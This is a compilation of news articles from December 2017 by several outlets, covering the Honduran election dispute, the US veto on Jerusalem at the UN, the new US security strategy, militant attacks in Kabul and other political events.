In Honduras, incumbent Juan Orlando Hernandez has been declared the winner of last month's disputed presidential election after a partial recount, with the opposition candidate rejecting the results and calling for fresh protests.

The Supreme Electoral Tribunal said Sunday after the official recount that Hernandez has won with 42.95 percent to 41.42 for challenger Salvador Nasralla.

"We have fulfilled our obligation (and) we wish for there to be peace in our country," the tribunal's president David Matamoros said.

Matamoros said the tribunal had resolved all the disputed issues, and that votes were recounted at select polling stations.

The count has, however, been questioned by the two main opposition parties and monitors with the Organization of American States (OAS).

As he left for the United States, Nasralla rejected Hernandez's re-election as illegitimate and called for more protest rallies on Monday.

"The declaration by the court is a mockery because it tramples the will of the people," Nasralla said. He added that he was "very optimistic" because "the people do not endorse fraud."

He also said he would urge the OAS in Washington to invoke its democratic charter against Honduras.

The former Honduran president, Manuel Zelaya, who backed Nasralla, tweeted Hernandez "is not our president," urging people to take to the streets in protest.

Meanwhile, the OAS secretary general, Luis Almagro, said "serious questions" surrounded the election results, urging Honduran officials to avoid making "irresponsible announcements."

He also called for a fresh presidential election to guarantee peace in the country, which has been the scene of angry protests and clashes since the November 26 presidential election.

However, European Union election observers said the vote recount showed no irregularities.

The initial results had shown Nasralla with a significant lead over Hernandez with nearly 60 percent of the vote counted.

The electoral tribunal then went mysteriously silent, giving no further public updates for about 36 hours, and when they resumed, Nasralla's lead steadily eroded and ultimately reversed in favor of Hernandez.

The protests and violence, which broke out over the manner of announcing the results, has killed at least 22 people.

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Butwal proposed as Province 5 capital

A study team formed by the government has proposed Butwal as the capital of Province 5 since the city has sufficient infrastructure and facilities to set up new offices for the provincial government agencies.
Israeli jets launch fresh airstrikes against Gaza Strip

Iran Press TV

Mon Dec 18, 2017 06:22AM

Israeli warplanes have carried out several airstrikes on the besieged Gaza Strip amid escalating tensions in the occupied territories following US recognition of Jerusalem al-Quds as Israel's so-called capital.

The Israeli aerial assaults hit positions belonging to Ezzedine al-Qassam Brigades, the military wing of Palestinian resistance movement Hamas, early on Monday.

According to Palestinian sources, the air raids hit Qassam's al-Bahariya position in al-Waha area, northwest of Beit Lahia, and Asqalan position in northern Gaza.

Qassam position in al-Sudaniya in northwestern Gaza was also bombed during the air raids.

No casualties have been reported.

A spokesperson for the Israeli army said in a statement that the regime's warplanes targeted a training camp in northern Gaza, claiming that the attack destroyed six separate facilities belonging to Hamas.

The attacks come after Israeli media quoted the regime's military as saying that two rockets had been fired at Israel from Gaza on Sunday night.

Police said no damage or injuries were reported while Israeli media said a photograph shared on social media showed damage caused to a house.

The airstrikes come amid rising tensions in the occupied territories over US President Donald Trump's decision to recognize the occupied Jerusalem al-Quds as the "capital" of Israel despite widespread international opposition to the measure.

Trump has also said Washington would relocate the US embassy in the occupied lands from Tel Aviv to Jerusalem al-Quds, which remains at the core of the Israeli-Palestinian conflict.

The Gaza Strip has been under an Israeli siege since June 2007. The blockade has caused a decline in living standards as well as unprecedented levels of unemployment and unrelenting poverty.

Under the Israeli blockade, about 1.8 million people in Gaza are deprived of their basic rights, such as freedom of movement, jobs with proper wages as well as adequate healthcare and education.

The Tel Aviv regime has also waged several wars on Gaza since 2008 in which thousands of Gazans have been killed or maimed and a significant portion of infrastructure in the enclave has been destroyed.

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US to spend $214 million to build military bases flanking Russia

Iran Press TV

Mon Dec 18, 2017 06:20AM

The United States is planning to spend more than $200 million to repair and build airfields, training sites and other military structures as part of a massive military buildup in Eastern Europe aimed at deterring "Russian aggression."

The military buildup close to Russian borders, as well as in Iceland and Norway, is part of the $4.6 billion European Deterrence Initiative (EDI), a program launched under former President Barack Obama to "reassure" US European allies, according to Air Force Times.

The EDI was initiated several months after the 2014 reintegration of the Black Sea Crimean Peninsula into the Russian Federation following a referendum, which triggered deadly violence in eastern Ukraine.

"As we continue to address the dynamic security environment in Europe, EDI funding increases our capabilities to deter and defend against Russian aggression," reads an EDI fact sheet.

"Additionally, these significant investments will further galvanize U.S. support to the collective defense of our NATO Allies, as well as bolster the security and capacity of our U.S. partners."

The fiscal 2018 annual defense bill, signed into law last week by President Donald Trump, authorizes the Air Force to purchase land and build installations overseas.

The legislation has allocated roughly $214 million for the construction of military installations in Latvia, Estonia, Slovakia, Hungary, Romania, Luxembourg, Iceland and Norway.

Some of these bases will house high-tech stealth fighters such as the F-22 Raptor and F-35 Strike Fighter and reconnaissance assets to intercept Russian submarines in the North and Baltic Seas.

"While we can't provide specific details on future operations and locations, we continuously look for opportunities for our fifth-generation aircraft to conduct interoperability training with our allies and partners in the European theater," said Major Juan Martinez, a spokesperson for US European Command.

The new initiative comes despite Trump's repeated calls for warmer relations with Moscow which has been accused of meddling in last year's presidential election.

Russia says the military buildup at its doorstep threatens regional stability and global security.

The US has deployed a contingent of troops to Eastern Europe near Russia's border since 2014. The deployments have been supplemented by four NATO battle groups of more than 1,000 soldiers.

The measures, according to Defense Minister Sergey Shoigu, "clearly indicate blatant unwillingness of our Western partners to stop pushing an anti-Russian agenda."

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Islamic State Attack On Kabul Intelligence Training Center Ends; Three Militants Reported Killed

RFE/RL's Radio Free Afghanistan December 18, 2017

KABUL -- Afghan officials say an attack claimed by the extremist group Islamic State (IS) on an intelligence training center in the capital has ended with the death of three attackers.

Kabul police spokesman Basir Mujahid said that two police officers were also wounded after militants on December 18 stormed a partially constructed building near an intelligence training center in the Afshar area of Kabul, triggering intense fighting with security forces.

Mujahid said there were no civilian casualties.

Nasrat Rahimi, deputy spokesman for the Afghan Interior Ministry, earlier said that the attackers entered a building under construction near a training center of the National Directorate of Security, Afghanistan's main intelligence agency.

He said the militants were targeting the training center from the building, using light weapons and rocket-propelled grenades.

Initial reports indicated the attackers were wearing police uniforms, he added.

The IS group claimed responsibility for the attack through its Amaq news agency.

Both the Taliban and the IS group have carried out deadly attacks in Kabul in the past. The Western-backed government there has been struggling to fend off militants since the withdrawal of most NATO troops in 2014.

Security in the capital has been ramped up since May 31, when a truck bomb ripped through the city's diplomatic quarter, killing about 150 people and wounding hundreds, mostly civilians.

No group has claimed responsibility for that attack, which the government has blamed on the Taliban-allied Haqqani network.

On December 17, officials said that 11 police officers were killed and two others wounded in a Taliban attack on two checkpoints in the southern province of Helmand. Fifteen militants reportedly died in the fighting.

In neighboring Pakistan, the IS group claimed responsibility for a December 17 suicide attack on a church. At least nine people were killed and more than 50 injured in the blast in the southwestern city of Quetta.

With reporting by AFP, dpa, and AP

Source: https://www.rferl.org/a/afghanistan-kabul-attack- intelligence-training-center/28924247.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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New U.S. Security Strategy To Focus On Countering China, Russia

RFE/RL December 18, 2017

The White House on December 17 released a new U.S. national security strategy that takes a hard line on China and Russia, saying the two countries are trying to shape a world antithetical to U.S. values and interests.

The document was released shortly before U.S. President Donald Trump was set to present the new strategy, which warns that China and Russia "challenge American power, influence, and interests, attempting to erode American security and prosperity."

"They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence," it says.

The document also states that "the dictatorships" of North Korea and Iran "are determined to destabilize regions, threaten Americans and our allies, and brutalize their own people" and warns that transnational "jihadist terrorists" and criminal groups are "actively trying to harm Americans."

The security strategy, which was still being drafted over the weekend, is a formal document that each U.S. president since Ronald Reagan has produced, usually every four years.

It comes as U.S. relations with Russia have been driven to a post-Cold War low by disagreements over issues including Russia's aggression in Ukraine, its role in the war in Syria, and its alleged interference in the U.S. presidential election in 2016.

Since taking office in January, Trump has accused China of unfair trade practices, criticized the "militarization" of the disputed South China Sea, and asked Beijing to do more to pressure North Korea over its nuclear and ballistic-missile programs.

Ahead of the strategy's release, the Chinese Foreign Ministry expressed hope that the document will "play a constructive role to promote world peace and stability and contribute to Chinese-U.S. strategic mutual trust in ensuring world peace and security."

In a speech on December 12, Trump's national security adviser, H.R. McMaster, said that Russia and China were "undermining the international order and stability" and "ignoring the sovereign rights of their neighbors and the rule of law."

"In many ways, we vacated a lot of competitive space in recent years and created opportunities for these revisionist powers," McMaster said, referring to China and Russia.

McMaster said that Russia and China were "undermining the international order and stability" and "ignoring the sovereign rights of their neighbors and the rule of law."

He said that Russia has pioneered "new generation warfare" that uses "subversion and disinformation and propaganda using cybertools, operating across multiple domains, that attempt to divide our communities within our nations and pit them against each other, and try to create crises of confidence."

McMaster alluded to the assessment by U.S. intelligence officials that Russia conducted a concerted campaign of interference in the U.S. presidential election in 2016. Putin and other Russian officials deny that Moscow meddled in the election, despite what U.S. officials say is ample evidence.

Putin's spokesman, Dmitry Peskov, said on December 13 that McMaster's remarks were "extremely and absolutely wrong" and that Russia "does not indulge in sophisticated subversion in the United States."

Officials said McMaster and his deputy, Dina Powell, oversaw formulation of the strategy. The policy document was written by Nadia Schadlow, an expert on global competition. Schadlow met with Trump personally during the drafting.

With reporting by Reuters, NBC, The Financial Times, and AP

Source: https://www.rferl.org/a/trump-security-china- iran-russia-korea-trade-speech/28923988.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Trump Says U.S. Seeks 'Great Partnership' With 'Rival Powers' Russia And China

RFE/RL December 18, 2017

U.S. President Donald Trump has unveiled a new U.S. national security strategy that takes a hard line on China and Russia, but he said Washington would seek a "great partnership" with the two world powers while defending its national interests.

In a wide-ranging speech in Washington on December 18 shortly after the White House released the strategy document, Trump said "realism" and "America first" would be a guiding national-security principles going forward and sharply criticized the record of his predecessors on a broad range of issues, including counterterrorism, Iran, and North Korea

He repeated his harsh assessment of the deal between Iran and major world powers to curb Tehran's nuclear ambitions in exchange for some sanctions relief, as well as the 2015 Paris climate accord that the Trump administration has announced it will withdraw from.

Trump also praised the U.S.-led coalition fighting Islamic State (IS) in Iraq and Syria and said that Pakistan must be more decisive in battling extremism.

The new U.S. national security strategy warns that China and Russia "challenge American power, influence, and interests, attempting to erode American security and prosperity."

"They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence," the strategy statement says.

Trump said that the 68-page strategy document "recognizes that, whether we like it or not, we are engaged in a new era of competition," adding that "vigorous military, economic, and political contests are now playing out all around the world."

"We face rogue regimes that threaten the United States and our allies. We face terrorist organizations, transnational criminal networks, and others who spread violence and evil around the globe," he said.

Calling Russia and China "rival powers" who "seek to challenge American influence, values, and wealth," Trump said that the United States will nonetheless seek to partner with those and other nations but in a way that "always protects our national interest."

Bilateral Cooperation

He followed up on that remark by touting bilateral cooperation with Moscow that both the Kremlin and the White House said helped prevent a series of planned terrorist attacks in St. Petersburg.

Russian President Vladimir Putin a day earlier phoned Trump and thanked him for a tip-off from the CIA that the Russian leader said resulted in the arrests of seven suspected terrorists plotting to carry out bombings in Russia's second city.

"Many people -- perhaps in the thousands -- could have been killed. They were able to apprehend these terrorists before the event, with no loss of life, and that's a great thing, and the way it's supposed to work," Trump said.

The new U.S. security strategy comes as Washington's relations with Russia have been driven to a post-Cold War low by disagreements over issues including Russia's aggression in Ukraine, its role in the war in Syria, and its alleged interference in the U.S. presidential election in 2016.

The document also states that "the dictatorships" of North Korea and Iran "are determined to destabilize regions, threaten Americans and our allies, and brutalize their own people" and warns that transnational "jihadist terrorists" and criminal groups are "actively trying to harm Americans."

Trump said in his speech that the United States has "no choice" but to deal with the challenge presented by North Korea's nuclear and ballistic missile programs and portrayed additional sanctions he slapped on Iran earlier this year as a strong message to Tehran.

'Crises Of Confidence'

The security strategy is a formal document that each U.S. president since Ronald Reagan has produced, usually every four years.

Since taking office in January, Trump has accused China of unfair trade practices, criticized the "militarization" of the disputed South China Sea, and asked Beijing to do more to pressure North Korea over its nuclear and ballistic missile programs.

Ahead of the strategy's release, the Chinese Foreign Ministry expressed hope that the document would "play a constructive role to promote world peace and stability and contribute to Chinese-U.S. strategic mutual trust in ensuring world peace and security."

In a speech on December 12, Trump's national security adviser, H.R. McMaster, said that Russia and China were "undermining the international order and stability" and "ignoring the sovereign rights of their neighbors and the rule of law."

He said that Russia has pioneered "new generation warfare" that uses "subversion and disinformation and propaganda using cybertools, operating across multiple domains, that attempt to divide our communities within our nations and pit them against each other, and try to create crises of confidence."

McMaster alluded to the assessment by U.S. intelligence officials that Russia conducted a concerted campaign of interference in the U.S. presidential election in 2016. Putin and other Russian officials deny that Moscow meddled in the election, despite what U.S. officials say is ample evidence.

Putin's spokesman, Dmitry Peskov, said on December 13 that McMaster's remarks were "extremely and absolutely wrong" and claimed that Russia "does not indulge in sophisticated subversion in the United States."

With reporting by Reuters, The Hong Kong Standard, The Los Angeles Times, Bloomberg, and NBC, Financial Times, AFP, and AP

Source: https://www.rferl.org/a/trump-defense-strategy- russia-china-partnership/28925426.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Romanian Judges, Prosecutors, Protest Against Legal System Changes

December 18, 2017

Hundreds of judges and prosecutors have protested across Romania against planned changes in the legal system that they say will hamper prosecutions and endanger public safety.

The protests on December 18 were staged outside courts in the capital, Bucharest, and other large cities such as Cluj, Galati, Brasov, and Constanta.

The magistrates' protests came a day after thousands of Romanians nationwide demonstrated in freezing weather against the ruling Social Democrats' drive to amend judicial legislation.

Changes proposed by the leftist parliamentary majority include banning public statements about investigations and trials and allowing suspects to be present when witnesses are giving testimony.

Prosecutors say that could mean, for example, the victim of a pedophile being obliged to give evidence in front of the suspected abuser.

An agency charged with prosecuting organized crime and terrorism said last week that 1,200 drug-trafficking cases would be halted if the amendments became law.

Under another proposed change, video footage of alleged offenses could no longer be shown in court.

On December 17, some 4,000 protesters marched from government headquarters to parliament in Bucharest, and thousands more staged similar demonstrations in other cities.

Centrist President Klaus Iohannis, the European Commission, and the U.S. State Department have criticized the proposed changes to judicial legislation, saying they could derail the rule of law.

The drive to change anticorruption legislation started in January, and comes as both speakers of parliament's lower house and senate are currently on trial in separate corruption cases.

Based on reporting by mediafax.ro, hotnews.ro, AP, and Reuters

Source: https://www.rferl.org/a/romanian-judges- prosecutors-protest-legal-changes/28924945.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Polish Fighter Jet Missing, Search Underway

Sputnik News

22:14 18.12.2017(updated 22:46 18.12.2017)

A Polish Air Force MiG-29 fighter plane went down over central Poland on Monday, sparking a short search for the plane and pilot.

Deputy Defense Minister Bartosz Kownacki announced that the plane crashed, but the pilot lived after ejecting himself from the crashing vessel.

"I can reassure you that the pilot successfully ejected. He was found and taken to a hospital," Kownacki said on a televised broadcast.

Reportedly, the crash occurred when the pilot was attempting to land. The pilot's condition is unknown beyond him being alive.

Ten teams of firefighters reportedly searched for the jet near the 23rd Tactical Air Base in Minsk Mazowiecki in central Poland. The crash was ultimately discovered by woodsmen with Polish State Forests.

The Polish Air Force utilizes three types of fighter jets: 31 Russian-made MiG-29s, 32 Soviet Sukhoi Su-22s, and 36 Lockheed Martin F-16s.

 Sputnik

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Aggressive New US Security Strategy Revealed

Sputnik News

21:12 18.12.2017(updated 22:00 18.12.2017)

Details of US President Donald Trump's new national security strategy have been shared with news outlets, about 45 minutes before Trump was set to start the speech.

The strategy addresses ongoing tensions with Iran and North Korea, as well as what it describes as China and Russia's global aspirations and military capabilities. It also sends a message that the US is rethinking its past policies of engagement with rivals.

"China and Russia are developing advanced weapons and capabilities that could threaten our critical infrastructure and our command and control architecture," the strategy reads.

The document refers to China and Russia as "revisionist powers" that "want to shape a world antithetical to US values and interests."

"China seeks to displace the United States in the Indo-Pacific region, expand the reaches of its state-driven economic model, and reorder the region in its favor," the text of Trump's strategy document says. "Russia seeks to restore its great power status and establish spheres of influence near its borders."

"The combination of Russian ambition and growing military capabilities creates an unstable frontier in Eurasia, where the risk of conflict due to Russian miscalculation is growing," the strategy says.

Previous US presidents have completed the National Security Strategy report by Congressional mandate. Trump was apparently so enthusiastic about the document he wanted to present it himself on live TV.

Trump has requested Beijing's help in solving the North Korean problem and spoke with Russian President Vladimir Putin last week about denuclearizing the Korean Peninsula.

The US leader plans to announce that Pyongyang is developing biochemical weapons that could be delivered by a missile, and that Iran, with which the US and other Western powers struck a historic nuclear deal in 2015, "is developing more capable ballistic missiles and has the potential to resume its work on nuclear weapons that could threaten the United States and our partners."

A source involved in preparing the document told Axios Monday "it is hard to say the document is cohesive, reflecting key inputs from the interagency. The doc doesn't reflect a lot of input from State (and the intel community) It fits a domestic political narrative."

 Sputnik

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US to Spend Over $200Mln on Upgrading Military Airbases in Eastern Europe

Sputnik News

07:42 18.12.2017(updated 08:13 18.12.2017)

The United States is set to spend about $214 million on upgrading military air bases in Eastern Europe, Norway and Iceland.

MOSCOW (Sputnik)  The US is planning to spend approximately $214 million on upgrading and building military structures and installations on its air bases in Eastern Europe, Norway and Iceland as part of a deterrence initiative against Russia, local media reported.

The funds will be provided within the framework of the European Deterrence Initiative (EDI) and in line with the 2018 National Defense Authorization Act signed by US President Trump on Tuesday, the Air Force Times newspaper reported Sunday.

EDI, formerly known as the European Reassurance Initiative, was initiated following the referendum in Crimea on reunification with Russia in 2014 and the crisis in eastern Ukraine, which Washington and its allies blame on Moscow. The program in particular implies the deployment of 3,000-5,000 NATO soldiers and equipment to European countries along Russia's borders to deter alleged Russian aggression.

Moscow has repeatedly denied allegations of meddling in the Ukrainian crisis, and has criticized NATO's buildup near its borders saying it was provocative and could lead to regional and global destabilization.

 Sputnik

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Middle East: Security Council fails to adopt resolution on Jerusalem

18 December 2017  The United Nations Security Council on Monday failed to adopt the draft resolution that reflects regret among the body's members about "recent decisions regarding the status of Jerusalem," with a negative vote by the United States.

The text, tabled by Egypt, reiterated the United Nations' position on Jerusalem and would have affirmed "that any decisions and actions which purport to have altered, the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council."

The text would also have called on all States "to refrain from the establishment of diplomatic missions in the Holy City of Jerusalem."

A negative vote  or veto  from one of the Council's five permanent members  China, France, Russia, United Kingdom and the United States  blocks passage of a resolution.

Therefore, the draft was rejected despite support from the other four permanent members and from the 10 non-permanent members.

The vote followed a briefing by Nickolay Mladenov, Special Coordinator for the Middle East Peace process, who said that the Israel-Palestinian conflict has not seen significant positive moves towards peace during the reporting period from 20 September to 18 December.

He said that the security situation in Israel and the occupied Palestinian territory has become more tense in the wake of US President Donald Trump's decision on 6 December to recognize Jerusalem as the capital of Israel, citing an increase in incidents, notably rockets fired from Gaza and clashes between Palestinians and Israeli security forces.

Uncertainty about future of peace process looms over situation on the ground

"None of the developments on the ground can be divorced from the broader context in which they are happening: uncertainties about the future of the peace process; unilateral actions that undermine the two-state solution; occupation; and violence," Mr. Mladenov told the Council.

The Special Coordinator's briefing mainly focused on the status of implementation of Security Council resolution 2334, which was adopted in December 2016 by 14 votes, with the US abstaining.

In that text, the Council reaffirmed that Israel's establishment of settlements in Palestinian territory occupied since 1967, including East Jerusalem, had no legal validity, constituting a flagrant violation under international law and a major obstacle to the vision of two States living side-by-side in peace and security, within internationally recognized borders.

It underlined that it would not recognize any changes to the 4 June 1967 lines, including the status of Jerusalem, other than those agreed by the two sides through negotiations.

"The United Nations maintains the view that Jerusalem is a final status issue that must be resolved through direct negotiations between the two parties on the basis of the relevant Security Council and General Assembly resolutions taking into account the legitimate concerns of both the Palestinian and the Israeli sides," Mr. Mladenov stressed, warning that there is a growing risk that the parties may revert to more unilateral actions.

He said that since the US decision, the Palestinian leadership canceled meetings with visiting Vice-President Mike Pence, and called for the establishment of a new mechanism to achieve peace.

Palestinian President Mahmoud Abbas has also vowed to seek unilateral recognition of Palestine and to seek full membership in international organizations in the absence of a meaningful peace process, Mr. Mladenov added.

Regarding Israel's settlement activities, housing construction in occupied Palestinian territory has continued, with significantly more units advanced and approved in 2017, he said.

For instance, in East Jerusalem, the increase has been from 1,600 units in 2016 to some 3,100 in 2017.

In addition, 2017 has seen worrying legislative, judicial and administrative initiatives that aim to change the long-standing Israeli policy concerning the legal status of the West Bank and the use of private Palestinian land, Mr. Mladenov warned.

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Campaign to dismantle Chhaupadi sheds launched in Kanchanpur

In an effort to end Chhaupadi, a campaign has been launched to dismantle Chhaupadi sheds in the district.
Militants Attack Afghan Spy Agency's Facility in Kabul

By Ayaz Gul December 18, 2017

Heavily armed militants attacked an Afghan intelligence agency facility in Kabul Monday, sparking fierce clashes with security forces.

Afghan officials said several assailants wearing police uniforms and led by a car bomber stormed and occupied a partially constructed building before firing rockets at the nearby training center of the National Directorate of Security, or NDS.

Afghan special forces swiftly arrived, encircled the building and killed all the attackers, ending the siege that lasted several hours. Residents in nearby areas reported hearing several back-to-back explosions from the scene of the fighting.

An interior ministry spokesman told VOA three men were involved in the attack on NDS training center. He confirmed at least one member of the police was wounded during the gunfight, though security sources said several NDS operatives were also among those injured.

The Islamic State terrorist group claimed responsibility for plotting the attack against the NDS facility in the Afghan capital.

The group has taken credit for a number attacks in Kabul and elsewhere in Afghanistan in recent months. IS militants have lately expanded their extremist activities to other Afghan regions from its strongholds in eastern Nangarhar province, which borders Pakistan.

Meanwhile, Afghan officials in the western province of Badghis have confirmed that Taliban insurgents ambushed a security convoy early Monday morning and killed the police commander of the remote Aab Kamari district.

The slain Abdul Rasoul and his men were ambushed while they were on their way reportedly to help security forces at an outpost under attack from the Taliban.

Monday's violence came a day after insurgents assaulted security posts in the southern province of Helmand, killing at least 14 Afghan police personnel.

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US Vetoes UN Resolution Rejecting Washington's Recognition of Jerusalem as Israeli Capital

By Margaret Besheer December 18, 2017

The Trump administration wielded its first U.N. veto Monday, blocking a Security Council resolution that rejected the U.S. decision to recognize Jerusalem as the capital of Israel and move its embassy there.

"The United States will not be told by any country where we can put our embassy," Ambassador Nikki Haley told council members.

The U.S. was isolated in the vote, with the other 14 members voting in favor of the text.

The draft resolution did not specifically mention the U.S. announcement, but noted its "deep regret at recent decisions concerning the status of Jerusalem." It also said, "Any decision and actions which purport to have altered the character, status, or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded."

Haley noted that it is the first time in more than six years that the United States has used its veto.

"We do it with no joy, but we do it with no reluctance," she said. "The fact that this veto is being done in defense of U.S. sovereignty and role in the Middle East peace process is not a source of embarrassment to us; it should be to the remainder of the Security Council."

She said President Donald Trump's decision does not contradict existing Security Council resolutions, which constitute international law and date back decades. Haley emphasized that the administration supports the status quo of the city's holy sites and will support a two-state solution if that is what the parties want.

"It is highly regrettable that some are trying to distort the president's position to serve their own agendas," Haley said. She added that the U.S. had the "courage and honesty to recognize a fundamental reality"  that Jerusalem is the capital and seat of the modern Israeli government.

The text, put forward by council member Egypt, sought to reaffirm earlier resolutions that conveyed a special status on the city, which is holy to Jews, Muslims and Christians, and leaves it as a final status issue to be resolved through negotiations.

Egyptian Ambassador Amr Aboulatta, whose delegation drafted the text, warned of repercussions of the U.S. decision and declared that the move would have no legal effect on Jerusalem's final status.

"Al Quds is one of the final status issues, which must be settled through peaceful negotiations between the Palestinians and Israelis," Aboulatta said, referring to Jerusalem by its Arabic name. "Any attempt at changing the facts on the ground in Jerusalem is considered one of the illegal, unilateral measures that will have no legal impact whatsoever, since it comes in violation of international law," he added.

"Because of its unmatched symbolic and emotional dimension, Jerusalem is the key to peace between Israelis and Palestinians," French Ambassador Francois Delattre told reporters. "Without an agreement on Jerusalem, there will be no peace accord. This is why an agreement on Jerusalem can only be decided by the parties themselves, with the support of the community of nations, and not by the unilateral decision of a third country that would bring us back one century ago," he added.

While Britain's envoy reiterated his government's disagreement with the Trump administration's decision, he said the U.S. would still continue to play an extremely important role in the search for peace.

"We commend President Trump for his efforts and energy in that direction, and we call on the U.S. administration to put forward concrete details, proposals, as soon as possible to take that process forward," Ambassador Matthew Rycroft told reporters.

Palestinian envoy Riyad Mansour denounced the U.S. decision as "provocative," "reckless and dangerous," and said a veto could not negate the legality of existing Security Council resolutions.

"This U.S. decision will have no legal effect that will alter the character and the status of Jerusalem," Mansour told the council. "This resolution affects the status of the U.S. as a peace broker and actually stresses its bias and undermines its role in any future peace process," he added.

Palestinian Foreign Minister Riyad al-Maliki told reporters in the region that he would seek support from the U.N. General Assembly if the U.S. vetoed the text.

Israel's envoy, Danny Danon, welcomed what he called the "courageous stance" of President Trump in recognizing Jerusalem as the Israeli capital.

"They can vote on this issue again and again and again," Ambassador Danon told reporters of the Security Council. "Even a hundred more times; but it will never change the fact that Jerusalem is, has been, and always will be the eternal capital of Israel."

Shift in US policy

Randolph-Macon College history professor Michael Fischbach told VOA that Trump's decision overturned decades of U.S. policy as well as what had been "global consensus" against setting Jerusalem as the Israeli capital.

"Since '67 Israel has controlled the entire city, but in the international community there's been a consensus that until the Arab-Israeli conflict is resolved finally and peacefully, that no country wants to prejudice the outcome of what's going to happen to Jerusalem because the original U.N. decision was that it would be held in an international zone," Fischbach said.

Trump said his decision is a "recognition of reality" that Jerusalem is not only the historic capital of the Jewish people but also the capital of modern Israel. Israeli leaders welcomed his actions, including Prime Minister Benjamin Netanyahu, who said having Jerusalem as Israel's capital is the "foundation of peace."

Palestinians want East Jerusalem as the capital of a future state, and Palestinian President Mahmoud Abbas said last week that his side will no longer accept a U.S. role in the peace process. He spoke at a gathering of Arab leaders where many others condemned Trump's decision as unlawful.

The European Union reiterated that its position is that a realistic resolution between the Israelis and Palestinians is a two-state setup with Jerusalem as the capital of both.

Victor Beattie contributed to this report.

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Ramaphosa Elected Leader of South Africa's Ruling Party

By Anita Powell December 18, 2017

South Africa's ruling party has elected a new leader, Cyril Ramaphosa, who will likely be the party's presidential candidate in the next national election. But will Ramaphosa, who was not the outgoing president's pick, be able to overcome the massive challenges ahead for the party?

The party's electoral commission announced the results Monday after a tense party conference in Soweto, saying "Comrade Nkosazana Dlamini-Zuma received 2,261 votes, and comrade Cyril Ramaphosa received 2,440 votes."

Ramaphosa, a successful businessman and current deputy president, has promised to bring business-friendly policies to South Africa.

But that may not be what pushed him over the top in this tight and tense vote to lead the African National Congress party.

His opponent was Nkosazana Dlamini-Zuma, a former top diplomat and minister who was also, for 16 years, the wife of the South African President Jacob Zuma.

Zuma is still president  his term as leader of the nation ends in 2019. But Zuma's popularity has sunk lower and lower, as he dealt with one corruption scandal after another.

Nearly 4,800 ANC delegates participated in the conference in Johannesburg, which was beset by massive delays as the deeply divided party argued, behind closed doors, about procedural issues.

Earlier Monday, a grinning Zuma toured a collection of statues of South African liberation stalwarts, pausing to pay his respects at the bronze images of former President Nelson Mandela and former ANC president Oliver Tambo.

He refused to answer journalists' questions, but took a few minutes to address the crush of reporters.

"I'm happy to say now I'm bowing out very happy because, I think, from my own point of view, I I made my contribution," he said.

Many of Zuma's critics  including many high-profile party members  say his contribution to the ANC has been to destroy its image as a party of liberation and equal opportunity.

Funde Sonwabo, a delegate from Gauteng, said he had voted for Dlamini-Zuma, but was happy to support the winner. He acknowledged that the ruling party -- which he has belonged to, he said, since he was 20  has issues. The ANC has lost ground in recent elections, losing control of three major cities to the opposition.

"We do have problems," he said, "and I'm glad that our leadership is admitting that we do have problems. But then, we can't continue moaning and analyzing the problems. We've got to work out strategies of how to get out of the situation in which are."

The party's outgoing treasurer general, Zweli Mkhize, said party leadership is aware of calls for Zuma to step aside as president now that his term as party leader is over.

"We took a discussion, that discussion, in the past," said Zweli. "When it arises I think the ANC must deal with it at that point. At the moment, that issue hasn't arisen."

But with Ramaphosa's elevation to head of the powerful party, many ANC watchers predict that issue may arise again.

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Tensions in Bissau as Leaders Meet to Resolve Political Crisis

By Ricci Shryock December 18, 2017

As Guinea Bissau's political elite gather in Nigeria Friday and Saturday in hopes of resolving a two-year-long crisis, residents and activists in the capital are demanding a solution to the political impasse.

Taxi driver Eduardo washes his bright blue car just a few blocks from the Presidential Palace of Guinea Bissau's leader, Jose Mario Vaz.

He says the political stalemate going on just down the road  the country's parliament has not met in over two years  has lead to a decrease in his income.

"In my opinion, the situation of the country is getting worse, nothing is getting better," he said. "The price of petrol is cheaper now, but food is more expensive. It's harder now to find customers. You just drive and drive and you have no customers. The roads are empty and everything has stopped."

The 21-year-old used to bring in only about 3,000 CFA, or $5.50, profit. But now he earns almost nothing after paying gas and the owner of the car for its use.

Parliament standstill

Eduardo is just one voice of many in this West African capital bemoaning the government's lack of action. Since August 2015, the parliament has not met in session, due to a disagreement between the president and the ruling party, known as the PAIGC, about who should be the prime minister.

The PAIGC won a majority of parliament seats in the last elections. So they say, according to the constitution, they have the right to approve the best candidate for prime minister, but Vaz will not appoint their nominee. He dismissed their original choice, Domingos Simoes Pereria, in August of 2015.

The Conakry Agreements, reached in October 2016, were meant to solve the crisis. At the agreements, Vaz presented three names to PAIGC leaders to choose from for prime minister. PAIGC chose Augusto Olivais to rule the government, but Vaz named General Umaro Sissoco Embalo as prime minister.

The differing factions are meeting in Abuja Friday and Saturday to try and come to an agreement on who should lead the government, but a member of parliament for the PAIGC, Suzy Barbosa, says she has doubts the long-standing issues will be resolved.

"I have hope, yes, but we have been having hope all these last years, all these times the president said he was going to make a change," she said.

Barbosa says a change must happen before the next elections, which are scheduled for April 2018.

"What we don't accept is to go to elections with this government, created by the president, where we don't feel confidence in the people who are going to lead the process," she said.

She adds that with the parliament standstill, there is no national budget, and the economic effects are staggering.

"It's really bad, I think the country is not breathing. Our economy is completely suffocated," she said. "There will be a moment people won't be able to go on like this because they will be suffocated, they won't be able to live like this, because with such a tension, something really bad can happen at any moment."

Popular discontent

Protests scheduled for this week were canceled. Carlos Da Silva had planned to march. Da Silva is a spokesman for the civil-society group known as the Movement of Conscious and Nonconformist Citizens. He says that many residents want to go even further than appointing a new prime minister.

"The president must overturn the assembly and call for elections, general elections. Both presidential elections and legislative elections. This is what we want, because they are fighting, they are disputing over the power. The power is given by the people," he said.

